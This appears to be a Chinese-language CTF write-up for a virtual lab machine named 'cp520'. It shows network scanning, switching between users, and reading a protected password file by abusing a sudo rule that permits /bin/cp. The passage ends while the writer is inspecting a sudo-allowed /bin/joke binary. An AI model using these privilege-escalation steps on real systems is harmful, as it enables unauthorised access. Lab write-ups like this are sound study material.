❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. ad192.168.60.143 08:00:27:84:41:b6 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:7e:1b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.025 seconds (126.42 hosts/sec). 4 responded ❯ export ip=192.168.60.143 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.143:22 Open 192.168.60.143:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 21:07 CST Initiating ARP Ping Scan at 21:07 Scanning 192.168.60.143 [1 port] Completed ARP Ping Scan at 21:07, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:07 Completed Parallel DNS resolution of 1 host. at 21:07, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:07 Scanning 192.168.60.143 [2 ports] Discovered open port 80/tcp on 192.168.60.143 Discovered open port 22/tcp on 192.168.60.143 Completed SYN Stealth Scan at 21:07, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.143 Host is up, received arp-response (0.00040s latency). Scanned at 2025-06-06 21:07:07 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:84:41:B6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
www-data@cp520:/home/ilovelinux$ echo -n "HAPPY_DRAGON_BOAT_FESTIVAL"|xxd -p 48415050595f445241474f4e5f424f41545f464553544956414c www-data@cp520:/home/ilovelinux$ su ilovelinux Password: ilovelinux@cp520:~$ sudo -l sudo: unable to resolve host cp520: Name or service not known [sudo] password for ilovelinux: Matching Defaults entries for ilovelinux on cp520: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ilovelinux may run the following commands on cp520: (ihatemath) /bin/cp
所以尝试将ihatemath.pass复制过来，不过总所周知cp命令是会保留源文件的文件权限
1 2 3 4 5 6 7 8
ilovelinux@cp520:~$ cd /tmp/ ilovelinux@cp520:/tmp$ sudo -u ihatemath /bin/cp /opt/ihatemath.pass . sudo: unable to resolve host cp520: Name or service not known ilovelinux@cp520:/tmp$ ls -al total 12 drwxrwxrwt 2 root root 4096 Jun 7 23:20 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. -rw------- 1 ihatemath ihatemath 13 Jun 7 23:20 ihatemath.pass
所以我们可以提前新建个文件，权限给777，然后再cp
即可读到文件内容，尝试切换用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
ilovelinux@cp520:/tmp$ touch 1 ilovelinux@cp520:/tmp$ chmod 777 1 ilovelinux@cp520:/tmp$ sudo -u ihatemath /bin/cp /opt/ihatemath.pass 1 sudo: unable to resolve host cp520: Name or service not known ilovelinux@cp520:/tmp$ cat 1 3c5611f0ae3f ilovelinux@cp520:/tmp$ su ihatemath Password: ihatemath@cp520:/tmp$ cd ~ ihatemath@cp520:~$ sudo -l sudo: unable to resolve host cp520: Name or service not known [sudo] password for ihatemath: Matching Defaults entries for ihatemath on cp520: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ihatemath may run the following commands on cp520: (ALL : ALL) /bin/joke
Root提权
可以以root身份执行joke
查看程序help，靶机没改hosts每次sudo都要等一会
1 2 3 4 5 6 7
ihatemath@cp520:~$ sudo /bin/joke -h sudo: unable to resolve host cp520: Name or service not known Haha, it's a joke. Now you are root~ ihatemath@cp520:~$ strings /bin/joke strings: /bin/joke: Permission denied ihatemath@cp520:~$ ls -al /bin/joke -rwxr-x--- 1 root root 110 May 29 02:49 /bin/joke
